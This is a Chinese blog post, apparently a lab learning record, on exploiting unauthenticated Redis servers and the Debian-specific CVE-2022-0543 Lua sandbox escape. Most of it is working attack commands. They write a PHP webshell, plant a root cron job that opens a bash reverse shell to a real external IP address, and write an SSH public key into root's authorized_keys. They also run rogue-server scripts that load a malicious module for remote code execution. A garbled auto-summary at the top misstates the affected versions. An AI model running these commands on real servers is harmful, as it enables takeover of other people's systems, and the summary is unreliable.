Redis漏洞总结--未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)

CNVD,CVE,沙箱,漏洞 · 浏览次数 : 5

小编点评

**漏洞描述:** * Redis 未授权访问影响版本:5.0.5及以上 * 攻击者可以使用未授权访问攻击 Redis 服务,写入文件 * 这可能导致代码执行漏洞利用自动化脚本运行恶意程序 **漏洞利用步骤:** 1. 确认 Redis 未授权访问 2. 使用 Redis 数据库客户端进行连接测试 3. 使用 Webshell、Redis 权限利用条件和密钥登录等方式写入文件 4. 利用 Redis 命令实现远程代码执行漏洞利用自动化脚本 **漏洞复现方法:** 1. 创建一个用于攻击 Redis 的虚拟机或服务器 2. 安装 Redis 2.x、3.x、4.x或5.x版本 3. 运行 Redis 服务器 4. 使用 Redis Rogue Server 或 Redis master 工具设置服务器地址和端口 5. 运行漏洞利用自动化脚本 **注意:** * 攻击者需要在自己的攻击机器上运行脚本。 * 漏洞利用自动化脚本需要在 VPS 上运行。 * 漏洞只适用于 Debian 系的 Linux 发行版本 + Ubuntu。

正文

Redis未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)

环境复现

采用Vulfocus靶场进行环境复现,官网docker搭建有问题,具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败

CNVD-2015-07557未授权访问

影响版本

Redis <= 5.0.5

漏洞探测

使用端口扫描工具等探测到目标主机使用了Redis服务
对于Redis服务的未授权访问,首先需要确认Redis未授权是否存在,使用Redis数据库客户端进行连接测试,如何没有密码,即未授权漏洞存在。
客户端连接工具Another Redis Desktop Manager
具体表现如下
在这里插入图片描述

漏洞利用

漏洞利用有三种利用方式,每种方式都有限制条件,本质就是使用Redis数据库操作语句在目标主机进行写入文件。

  • 写入Webshell
    利用条件:Web目录权限可读写
config set dir /tmp            #设置WEB写入目录
config set dbfilename 1.php    #设置写入文件名
set test "<?php phpinfo();?>"  #设置写入文件代码
bgsave                         #保存执行
save                           #保存执行

注意:部分没目录权限读写权限

  • 写定时任务反弹shell
    利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态,centos会忽略乱码去执行格式正确的任务计划 ,而ubuntu并不会忽略这些乱码,所以导致命令执行失败
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save
  • 写入ssh-key公钥
    利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
    允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
//以上步骤在自己的攻击机器上执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP

详细利用步骤可参考Redis未授权访问漏洞复现与利用

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

该脚本需要运行在VPS上,脚本运行后,目标主机会向攻击机回传信息。

CNVD-2019-21763 未授权访问

影响版本

Redis 2.x,3.x,4.x,5.x
由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行

漏洞利用

  • 自动化脚本
    同上

沙箱绕过CVE-2022-0543

影响版本

Debian 系的 Linux 发行版本 + Ubuntu

CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码

漏洞利用

python3 redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

以上内容仅作学习记录,如有错误或瑕疵,欢迎批评指正,感谢阅读。

与Redis漏洞总结--未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)相似的内容:

Redis漏洞总结--未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)

Redis未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543) 环境复现 采用Vulfocus靶场进行环境复现,官网docker搭建有问题,具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败 CNV

【Azure Redis 缓存】Azure Redis 4.0 被扫描到漏洞,如何修补呢?

问题描述 在安全级别要求高的公司中,任何系统都会进行安全扫描。比如Azure 云上的Redis服务,也在扫描的范围中,最后发现Redis 4.0存在以下漏洞: CVE-2019-10192:https://nvd.nist.gov/vuln/detail/CVE-2019-10192 CVE-201

35个Redis企业级性能优化点与解决方案

Redis作为企业级应用中广泛使用的高性能键值存储数据库,其性能优化是一个复杂且多面的话题。以下是V 哥整理的一些关键的优化点和相应的解决方案,提供给兄弟们参考。 Redis的性能优化涉及到硬件选择、配置调整、客户端优化、持久化策略等多个层面。 1. 硬件优化 解决方案:选择更快的CPU、更多的内存

Redis 分布式锁

Redis 分布式锁 分布式锁的演变 本地锁(单机用) 利用redis进行分布式锁 使用 set 防止死锁 加过期时间 使用 setnx 防止A请求未执行完 锁过期删除 B请求加锁后 A完成后误删该锁 使用 Hash结构, 规定每个请求只能删除自己的锁 保证并发安全,申请锁和加过期时间需要 原子性,

【长文】带你搞明白Redis

Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 与MySQL数据库不同的是,Redis的数据是存在内存中的。它的读写速度非常快,每...

(四)Redis 缓存应用、淘汰机制

1、缓存应用 一个系统中不同层面数据访问速度不一样,以计算机为例,CPU、内存和磁盘这三层的访问速度从几十 ns 到 100ns,再到几 ms,性能的差异很大,如果每次 CPU 处理数据时都要到磁盘读取数据,系统运行速度会大大降低。 所以,计算机系统中,默认有两种缓存: (1)CPU 里面的末级缓存

redis性能测试

环境 redis 7.2.5 主频 核心数 内存 2.5GHz 32 64GB 测试结论 当前场景下redis单线程、多线程表现差异不大 使用pipeline模式可以显著提高基准性能 非pipilie下redis性能再12~13w左右 pipiline下redis性能在35w左右 测试记录 单线程r

Redis 常用的数据结构简介与实例测试【Redis 系列二】

〇、都有哪些数据结构? Redis 提供了较为丰富的数据类型,常见的有五种:String(字符串),Hash(哈希),List(列表),Set(集合)、Zset(有序集合)。 随着 Redis 版本的更新,后面又支持了四种数据类型: BitMap(2.2 版新增)、HyperLogLog(2.8 版

Redis单线程

Redis是基于Reactor模式开发的网络事件处理器,这个处理器是单线程的,所 以redis是单线程的。 为什么它是单线程还那么快呢? 主要有以下几个原因: 一、纯内存操作 由于Redis是纯内存操作,相比于磁盘来说,内存就快得多,这个是Redis快的主要 原因。 二、多路复用I/O机制(NIO)

Redis数据存储和读写

今天工作群里,有小伙伴问了一个问题,从Redis获取的数据,一会是0,一会是OK。 这引起了我们对Redis数据存储和读写的疑问。 以下是整理的一些技术研究内容。 在 Redis 中,所有的数据存储都是基于字符串的。无论你插入的是 String、int 还是 DateTime 类型的数据,最终都会以